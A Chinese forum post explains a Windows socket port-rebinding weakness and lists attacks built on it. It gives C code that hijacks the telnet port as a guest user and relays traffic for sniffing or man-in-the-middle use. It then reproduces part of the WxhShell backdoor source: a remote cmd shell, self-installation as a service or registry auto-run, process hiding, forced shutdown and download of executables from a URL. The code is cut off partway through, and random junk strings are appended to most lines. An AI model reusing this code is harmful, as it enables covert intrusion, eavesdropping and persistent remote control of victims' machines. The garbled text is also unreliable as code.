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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o/=61K8D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ogJ';i/o  
([7XtG/?  
  saddr.sin_family = AF_INET; \vS > jB  
z&jASL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~b4kV)[ q  
`-?`H>+OG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N-45LS@  
"}oo`+]Cq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UoSc<h|  
8~|v:qk  
  这意味着什么?意味着可以进行如下的攻击: VAe[x `  
N0 mh gEA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <KI>:@|Sc  
:EH>&vm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) us.IdG  
:X}Ie P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bwJluJ, E  
E[BM0.#bZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q~KzcB<  
n_wF_K\h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7c6- o"A  
)lJi7 ^,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]c]^(C  
3/]~#y%2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _p^Wc.[~M  
_!w69>Nj  
  #include 9Q 7342  
  #include Zvra >%  
  #include u EERNo&  
  #include    bHXoZix  
  DWORD WINAPI ClientThread(LPVOID lpParam);    w U1[/  
  int main() XK;Vu#E*^  
  { Mh{;1$j#  
  WORD wVersionRequested; i 8%@4U/ J  
  DWORD ret; wbg ?IvY[  
  WSADATA wsaData; K1&t>2=%  
  BOOL val; _3#_6>=M  
  SOCKADDR_IN saddr; $)KNpdXh  
  SOCKADDR_IN scaddr; SA%)xGRW  
  int err; rMw$T=Oi  
  SOCKET s; k"m+i  
  SOCKET sc; t%@u)bp  
  int caddsize; Zb'a+8[  
  HANDLE mt; TKVS%//  
  DWORD tid;   aEun *V^,  
  wVersionRequested = MAKEWORD( 2, 2 ); . K_Jg$3  
  err = WSAStartup( wVersionRequested, &wsaData ); 1{1mL-I;  
  if ( err != 0 ) { ['3E'q,4&  
  printf("error!WSAStartup failed!\n"); #nmh=G?\Sm  
  return -1; ^ q3H  
  } *nv ^s  
  saddr.sin_family = AF_INET; CdtCxy5  
   /-(OJN5F^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,jl4W+s  
vN~joQ=d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JgV4-B0  
  saddr.sin_port = htons(23); u<+"#.[2v~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i<q_d7-W'  
  { PI"6d)S2  
  printf("error!socket failed!\n"); = '-/JH~  
  return -1; 5X uQQ!`  
  } w@\4ft6d  
  val = TRUE; =?N$0F!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?30pNF|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,D&-.`'E  
  { _SH~.Mt_!  
  printf("error!setsockopt failed!\n"); 7 h>,  
  return -1; Zlygx  
  } R0G!5>1i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qca=a }  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pu'NSNT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K@{R?j/+  
xqauSW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (UTA3Db  
  { WmRu3O  
  ret=GetLastError(); IGlM} ?x  
  printf("error!bind failed!\n"); }Nma %6PfV  
  return -1; EoS6t  
  } g!)*CP#;  
  listen(s,2); 5,\|XQA5!  
  while(1) E 5mYFVK  
  { Q9Go}}n  
  caddsize = sizeof(scaddr); m6Qm }""  
  //接受连接请求 Z|A+\#'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M<Y{Cs  
  if(sc!=INVALID_SOCKET) p<y \ ^a  
  {  RcZ&/MY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vYq"W%  
  if(mt==NULL) kovJ9  
  { .&h|r>*|J  
  printf("Thread Creat Failed!\n"); Sw>,Q-32  
  break; t@iw&> 8z  
  } \VypkbE+  
  } $yUPua/-  
  CloseHandle(mt); dqi31e{*2\  
  } EOS[MjX+J  
  closesocket(s); ?KE:KV[Y  
  WSACleanup(); @ 0/EKWF  
  return 0; GC(QV}9z"  
  }    sHOBT,B  
  DWORD WINAPI ClientThread(LPVOID lpParam) "s@q(J  
  { ;{0%Vp{  
  SOCKET ss = (SOCKET)lpParam; ~y/qm [P  
  SOCKET sc; "#h/sAIs  
  unsigned char buf[4096]; `1#Z9&bO  
  SOCKADDR_IN saddr; 9"}5jq4*  
  long num; o :j'd  
  DWORD val; )q[Wzx_ j<  
  DWORD ret; s%A?B 8,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aPX'CG4m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   14(ct  
  saddr.sin_family = AF_INET; hE'>8{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x Vw1  
  saddr.sin_port = htons(23); ]@CXUa,>a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |;"(C# B  
  { ?uW} XAi  
  printf("error!socket failed!\n"); Cn_r?1{W  
  return -1; Oe;1f#` 5  
  } Fz5eCe\B  
  val = 100; Ci2*5n<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lbh7`xCR  
  { /XdLdA!v  
  ret = GetLastError(); &3itBQF  
  return -1; =p dLh  
  } 474 oVdGx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1k{H,p7  
  { (@bq@0g  
  ret = GetLastError(); QoMa+QTuc  
  return -1; 9Fg:   
  } .Y }k@T40a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +6L.a3&(b  
  { /2 qxJvZ  
  printf("error!socket connect failed!\n"); pi/&WMZ<  
  closesocket(sc); A[^k4 >  
  closesocket(ss); gm1RQ^n,@.  
  return -1; aFL<(,~r  
  } o<5+v^mt#  
  while(1) 'L^M"f^I  
  { f{|n/j;n=C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'vKae  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J8[aVG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w,X J8+B  
  num = recv(ss,buf,4096,0); .g.g lQ_~=  
  if(num>0) 3.rl^Cq1  
  send(sc,buf,num,0); XRP+0=0  
  else if(num==0) (aB:P03  
  break; %2^V.`0T  
  num = recv(sc,buf,4096,0); qVvnl  
  if(num>0) ;R3o$ZlY  
  send(ss,buf,num,0); [I[*?9}$"  
  else if(num==0) (Sj<>xgd  
  break; 2/x~w~3U  
  } Z`n "}{  
  closesocket(ss); %~0]o@LW7  
  closesocket(sc); 51ILR9 Bc_  
  return 0 ; (.b!kfC  
  } 9QeBz`lm)  
$-\%%n0>6  
cVSns\QO  
========================================================== GbvbGEG  
hK3Twzte  
下边附上一个代码,,WXhSHELL 8L`wib2  
zv^+8h7k  
========================================================== xJOp ~fKG  
|{rhks~  
#include "stdafx.h" 9MbF:  
fS%B/h=  
#include <stdio.h> "Q{7X[$$^  
#include <string.h> u=0161g  
#include <windows.h> ~$1g"jIw  
#include <winsock2.h> 8mO_dQ  
#include <winsvc.h> ghk"XJ|  
#include <urlmon.h> }$ a *XY1  
r/QI-Cf&  
#pragma comment (lib, "Ws2_32.lib") I}awembw g  
#pragma comment (lib, "urlmon.lib") v(,YqT>q@U  
{RD9j1  
#define MAX_USER   100 // 最大客户端连接数 f3<253 1/}  
#define BUF_SOCK   200 // sock buffer dx.Jv/Mb  
#define KEY_BUFF   255 // 输入 buffer %mOQIXr1s  
aED73:b  
#define REBOOT     0   // 重启 Z'd]oNF  
#define SHUTDOWN   1   // 关机 %d /]8uO  
.4y44: T  
#define DEF_PORT   5000 // 监听端口 JYLAu4s6  
vpdT2/F  
#define REG_LEN     16   // 注册表键长度 I~-sBMm(w  
#define SVC_LEN     80   // NT服务名长度 6~6 vwp  
xSq+>,b  
// 从dll定义API :1~4X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kAW2vh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r]S"i$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .EjjCE/v-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DH.CAV  
zXe]P(p<  
// wxhshell配置信息 0bu!(Tpg7  
struct WSCFG { qR4-~ p 8  
  int ws_port;         // 监听端口 vI(CX]o  
  char ws_passstr[REG_LEN]; // 口令 q%XjJ -s:  
  int ws_autoins;       // 安装标记, 1=yes 0=no @J6V ,  
  char ws_regname[REG_LEN]; // 注册表键名 ]@l;;Sp  
  char ws_svcname[REG_LEN]; // 服务名 O_*tDq,e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Seq ^o=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]DZ~"+LaG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0 n|>/i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [9y y<Z5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1=^|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ayN[y  
LVy (O9g  
}; 6g)CpZU  
8w~X4A,  
// default Wxhshell configuration 31p7oRzr  
struct WSCFG wscfg={DEF_PORT, Krr51` hZH  
    "xuhuanlingzhe", |}d+BD  
    1, MQX9BJ%  
    "Wxhshell", ~6[3Km|2  
    "Wxhshell", qGzF@p(p8  
            "WxhShell Service", ]oKHS$W9  
    "Wrsky Windows CmdShell Service", %htwq]rZd  
    "Please Input Your Password: ", /K<>OyR?  
  1, iS`ok  
  "http://www.wrsky.com/wxhshell.exe", 6s$h _$[X  
  "Wxhshell.exe" ? ~oc4J*>(  
    }; :S+Bu*OyH  
0.B'Bvn=s2  
// 消息定义模块 m4R:KjN*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $-39O3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^+Vf*YY 8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /^`d o3a}  
char *msg_ws_ext="\n\rExit."; LXRIo2ynuw  
char *msg_ws_end="\n\rQuit."; o3le[6C/8=  
char *msg_ws_boot="\n\rReboot..."; A=np ?wc  
char *msg_ws_poff="\n\rShutdown..."; 6L-3cxqf\  
char *msg_ws_down="\n\rSave to "; U \F ?{/  
ayLINpL  
char *msg_ws_err="\n\rErr!"; }50s\H._C  
char *msg_ws_ok="\n\rOK!"; cY|@s?3NND  
E .CG  
char ExeFile[MAX_PATH]; ra1_XR}  
int nUser = 0; {G=|fgz  
HANDLE handles[MAX_USER]; ?%b#FXA  
int OsIsNt; +rKV*XX@  
U bh)}G,Mg  
SERVICE_STATUS       serviceStatus; )OFf nKh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fD2 N}  
q oz[x  
// 函数声明 VrJf g  
int Install(void); L(HAAqRnJ  
int Uninstall(void); 5$*=;ls>J  
int DownloadFile(char *sURL, SOCKET wsh); mS+sh'VH  
int Boot(int flag); ZD<e$PxxCd  
void HideProc(void); O 2+taB  
int GetOsVer(void); f~f)6XU|  
int Wxhshell(SOCKET wsl); =@d->d  
void TalkWithClient(void *cs); _ F2ofB'  
int CmdShell(SOCKET sock); 2WB`+oWox  
int StartFromService(void); 5W09>C>OC  
int StartWxhshell(LPSTR lpCmdLine); u_Xp\RJ  
$qiM_06  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *^ua2s.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2 yRUw  
#eKH'fE  
// 数据结构和表定义 "?'9\<>  
SERVICE_TABLE_ENTRY DispatchTable[] = M|UCV_omN  
{ )1!0'j99.  
{wscfg.ws_svcname, NTServiceMain}, ZU l-&P_X  
{NULL, NULL} )J 8mn*  
}; 4?c0rC<  
/LG}nY  
// 自我安装 ziv*4  
int Install(void) e8k|%m<Sp  
{ 352RJC  
  char svExeFile[MAX_PATH]; ;/!o0:m^I  
  HKEY key; 3E!3kSh|  
  strcpy(svExeFile,ExeFile); bMqFrG  
{wf5HA  
// 如果是win9x系统,修改注册表设为自启动 @/='BVb'T  
if(!OsIsNt) { BoHNni  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }RUK?:lEA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?JR?PW8  
  RegCloseKey(key); <_SdW 5BF<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <lRjh7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )~ ^`[`  
  RegCloseKey(key); x}uDW   
  return 0; p uW  
    } s6Il3K f  
  } $NBQv6#:  
} ~pwk[Q!  
else { ;S'1fci6  
x}OJ~Yk]  
// 如果是NT以上系统,安装为系统服务 ]ts^h~BZ$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8>|<m'e^\r  
if (schSCManager!=0) $|I hO  
{ (XV+aQ\A  
  SC_HANDLE schService = CreateService qU ,{jD$  
  ( p &i+i  
  schSCManager, !^Q4ZL,-  
  wscfg.ws_svcname, ;Ao`yC2(v  
  wscfg.ws_svcdisp, l=<},_]{  
  SERVICE_ALL_ACCESS, u&e?3qKX(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w3"%d~/[x  
  SERVICE_AUTO_START, }wC=p>zA  
  SERVICE_ERROR_NORMAL, Tz7|OV_W$  
  svExeFile, ksyQ_4^SO  
  NULL, pV$A?b"?*  
  NULL, D&D-E~b^  
  NULL, -=qHwcId  
  NULL, S>d7q  
  NULL )gk tI!  
  ); !z]{zM%  
  if (schService!=0) %]o/p_<  
  { &jh17y  
  CloseServiceHandle(schService); `_OB_F  
  CloseServiceHandle(schSCManager); 4XSq\.@G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eRg;)[#0>$  
  strcat(svExeFile,wscfg.ws_svcname); U/-|hfh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R+9 hog  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k>:\4uI|<\  
  RegCloseKey(key); SOluTFxUw  
  return 0; vtRz;~,Z  
    } HC| ]Au  
  } w]US-7  
  CloseServiceHandle(schSCManager); Q$Q:Jm53  
} |A2o$H  
} YOUX  
~oRT@E  
return 1; H5be5  
} C-/+n5J  
A%~t[ H  
// 自我卸载 GYV%RD#  
int Uninstall(void) rfV{+^T;  
{ fH% C&xj'&  
  HKEY key; ,W>-MPJn[8  
G~/*!?&z  
if(!OsIsNt) { 1{G@'# (  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  k.\4<}  
  RegDeleteValue(key,wscfg.ws_regname); 4Td)1~zc3  
  RegCloseKey(key); )#,a'~w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h3Nbgxa.  
  RegDeleteValue(key,wscfg.ws_regname); -$`q:j  
  RegCloseKey(key); 0"i QHi  
  return 0; 2nSK}q  
  } 0SJ(Ln`0K  
} c&"1Z/tR  
} 9 }  ]C  
else { _OB^ywHn.  
n%6=w9.%c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H^g&e$d0  
if (schSCManager!=0) Vr #o]v  
{ 7/dp_I}cO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b6'ZVB  
  if (schService!=0) afjEN y1  
  { \<\147&)r  
  if(DeleteService(schService)!=0) { x #t?`  
  CloseServiceHandle(schService);  ;ih;8  
  CloseServiceHandle(schSCManager); ~$YasFEz  
  return 0; 5Z13s  
  } r(g2&}o\  
  CloseServiceHandle(schService); GQ*or>R1  
  } bs)Ro/7}  
  CloseServiceHandle(schSCManager); ^%qQ)>I=j  
} O)`ye5>v  
} \4uj!LgTb  
P,k=u$  
return 1; 1(jx.W3  
} h2 >a_0"  
1JZhcfG  
// 从指定url下载文件 zvT8r(<n}  
int DownloadFile(char *sURL, SOCKET wsh) Srrzj-9^)K  
{ tNxKpA |F  
  HRESULT hr; v5.KCc}"  
char seps[]= "/"; 5E2T*EXSh  
char *token; R%Xz3Z&|  
char *file; ZsGJ[  
char myURL[MAX_PATH]; t]xR`Rr;X  
char myFILE[MAX_PATH]; UhSaqq  
5w</Ga  
strcpy(myURL,sURL); 9dp1NjOtAc  
  token=strtok(myURL,seps); #YSFiy:+r_  
  while(token!=NULL) }jYVB|2  
  { isz-MP$:K5  
    file=token; {-yw@Kq  
  token=strtok(NULL,seps); ;Ehv1{;  
  } m4G))||9Q  
K^%ONultv  
GetCurrentDirectory(MAX_PATH,myFILE); 4"Mq]_D  
strcat(myFILE, "\\"); LKst QP!I  
strcat(myFILE, file); B8zc#0!1  
  send(wsh,myFILE,strlen(myFILE),0); ` bZgw  
send(wsh,"...",3,0); ^C;ULUn3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |43Oc:Ah+  
  if(hr==S_OK) i \@a&tw  
return 0; D*ZswHT{y  
else 3u9}z+q  
return 1; l)Mi?B~N  
Oo9'  
} C%"aj^u  
Om2w+yU  
// 系统电源模块 66scBi_d  
int Boot(int flag) O?iLLfs  
{ H )Ze{N  
  HANDLE hToken; }zrapL"9X  
  TOKEN_PRIVILEGES tkp;  x(A6RRh  
{Bb:\N8X  
  if(OsIsNt) { 2FEi-m}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w+hpi5OH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |^OK@KdL1  
    tkp.PrivilegeCount = 1; Uq.hCb`:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HaQox.v%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ccy q~  
if(flag==REBOOT) { @E=77Jn[px  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jl ?_GX}ZY  
  return 0; ^(7Qz&q  
} p-,Bq!aG$  
else { *Z3b6X'e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S4 s#EDs  
  return 0; </_.+c [  
} 0Q[;{}W}  
  } W?du ]  
  else { JG{`tTu  
if(flag==REBOOT) { rg I Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |]b,% ?,U  
  return 0; fRp(&%8E  
} X5=I{eY}  
else { fD%20P`.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2j$~lI  
  return 0; MaZS|Zei[  
} FDuIm,NI  
} G'{&*]Z\:  
 |?ZNGPt  
return 1; ?)7UqVyq  
} 'AZxR4W  
 J {$c|  
// win9x进程隐藏模块 kT:?1w'  
void HideProc(void) c9+yU~(  
{ UtHloq(r  
J@qLBe(v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U"a7myB+jX  
  if ( hKernel != NULL ) i_av_I-  
  { ]2MX7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y.% Vvg4z3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m1M6N`f  
    FreeLibrary(hKernel); 6+:;M b_S  
  } 593!;2/@  
,Uy;jk  
return; rnBp2'EM  
} 8( bK\-b  
dEam|  
// 获取操作系统版本 %I@ vMs^  
int GetOsVer(void) Nop61zj  
{ "_:6v64Gx  
  OSVERSIONINFO winfo; yh.WTgcW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o+Q2lO5  
  GetVersionEx(&winfo); aTs9lr:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )*aAkM  
  return 1; Bq tN=  
  else x\YVB',h  
  return 0; <Ik5S1<h$H  
} #It!D5A  
kkXe=f%  
// 客户端句柄模块 Jv!f6*&<  
int Wxhshell(SOCKET wsl) gwFW+*h  
{ 6xu%M&ht  
  SOCKET wsh; OXbC\^qo@  
  struct sockaddr_in client; *?+2%zP  
  DWORD myID; N:,V{Pw  
k;r[m ,$  
  while(nUser<MAX_USER) u/FC\xJc  
{ (iht LFp  
  int nSize=sizeof(client); h;~NA}>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1G'pT$5&  
  if(wsh==INVALID_SOCKET) return 1; co' qVsOiH  
:N'   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;s#]."v_=  
if(handles[nUser]==0) (N5"'`NZA  
  closesocket(wsh); fyxc4-D  
else ^1Bk*?Yx\x  
  nUser++; y(=0  
  } |7!Bk$(vA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $)'LbOe  
qos/pm$&i  
  return 0; \\35} 9  
} X n Rm9%  
^MVOaV65  
// 关闭 socket O mph(  
void CloseIt(SOCKET wsh) ^}lL@Bd|  
{ $SfY<j,R  
closesocket(wsh); c*R18,5-  
nUser--; >]2^5C;  
ExitThread(0); [~?6jnp  
} bG+Gg*0p  
&LQfs4}a,  
// 客户端请求句柄 ,2P /[ :  
void TalkWithClient(void *cs) ^Zlbs goZ  
{ zR?1iV.]  
^BP4l_rO9  
  SOCKET wsh=(SOCKET)cs; 1+Vei<H$  
  char pwd[SVC_LEN]; MPLeqk$;  
  char cmd[KEY_BUFF]; tZ:fOM  
char chr[1]; ACF_;4%&  
int i,j; ){w!< Lb  
a&[>kO  
  while (nUser < MAX_USER) { ]NKz5[9D  
EW/NH&{  
if(wscfg.ws_passstr) { 'lmjZ{k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2L=(-CH9]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mFE7#OM  
  //ZeroMemory(pwd,KEY_BUFF); In*0.   
      i=0; &+GbklUB~  
  while(i<SVC_LEN) { !ED,'d%J  
5xa!L@)`wF  
  // 设置超时 S4OOm[8  
  fd_set FdRead; J$-1odL0Z  
  struct timeval TimeOut; jI$7vmO  
  FD_ZERO(&FdRead); f|2QI ~R  
  FD_SET(wsh,&FdRead); ~O 4@b/!4  
  TimeOut.tv_sec=8; i(xL-&{  
  TimeOut.tv_usec=0; zoj w^%W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZT+{8,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8an_s%,AW  
DXK\3vf Ot  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9xL` i-7]  
  pwd=chr[0]; 2-^ ['R  
  if(chr[0]==0xd || chr[0]==0xa) { w7~&Xxa/  
  pwd=0; fmFs  
  break; .L ^F4  
  } Hq,znRz~`  
  i++; ;9qwB  
    } !0cb f&^:  
xww\L &y  
  // 如果是非法用户,关闭 socket yaAg!mW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jjg&C9w T  
} w# ;t$qz}  
l!IN#|{(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ub[UB%(T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6>h"Lsww  
XOEf,"  
while(1) { kZ!&3G9>-  
}mS+%w"j  
  ZeroMemory(cmd,KEY_BUFF); (R!.=95@  
)F6p+i="  
      // 自动支持客户端 telnet标准   cN)noGkp  
  j=0; H+Q_%%[N  
  while(j<KEY_BUFF) { &CfzhIi*!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XL(2Qk  
  cmd[j]=chr[0]; tz2$j@!=  
  if(chr[0]==0xa || chr[0]==0xd) { F^Mt}`O  
  cmd[j]=0; h\8bo=  
  break; j)}TZx4~  
  } :{?Pq8jP  
  j++; ' &Nv|v\V  
    } $ccCI \  
i^ eDM.#X  
  // 下载文件 ~Yg+bwh  
  if(strstr(cmd,"http://")) { ]jV1/vJ-!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u<HJFGLzI  
  if(DownloadFile(cmd,wsh)) [LSs|f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qtp-w\#S$  
  else C(}Kfi@6N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n'@XgUI,  
  } Ky{C;7X  
  else { }$:ha>  
EtDzmpJR>  
    switch(cmd[0]) { O! w&3 p  
  ?$b*)<  
  // 帮助 7[8d-Sf24{  
  case '?': { &y~GTEP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S|_lb MZM  
    break; ZMch2 U8  
  } 3UJSK+d\  
  // 安装 ak(P<OC-  
  case 'i': { $oZV 54  
    if(Install()) gn[h:+H&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N0fmC*1-  
    else >n>gX/S<C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ft8ii|-  
    break; b>| d Q  
    } Na`vw  
  // 卸载 q?# w%0}  
  case 'r': { z!^3%kJJ>  
    if(Uninstall()) 9RY}m7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_M&zN  
    else kk aS&r>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lI+KT_|L  
    break; Y IVN;:B.  
    } Ce PI{`&,  
  // 显示 wxhshell 所在路径 !r+SE  
  case 'p': { }do=lm?/  
    char svExeFile[MAX_PATH]; UujKgL4  
    strcpy(svExeFile,"\n\r"); OI)/J;[-e  
      strcat(svExeFile,ExeFile); {-s7_\|p(  
        send(wsh,svExeFile,strlen(svExeFile),0); bd`}2vr  
    break; Y^ ,G} &p  
    } 0j[%L!hny  
  // 重启 e'dZ2;X$zo  
  case 'b': { n^rzl6dy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +Z/aG k;  
    if(Boot(REBOOT)) $9<P3J 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yn-;+ 4 K  
    else { |A:+[35  
    closesocket(wsh); "@&I*1&  
    ExitThread(0); YGkk"gFIA  
    } L(3} H,t  
    break; 9jrlB0  
    } IaRq6=[  
  // 关机 50`<[w<J q  
  case 'd': { FdmoR;  
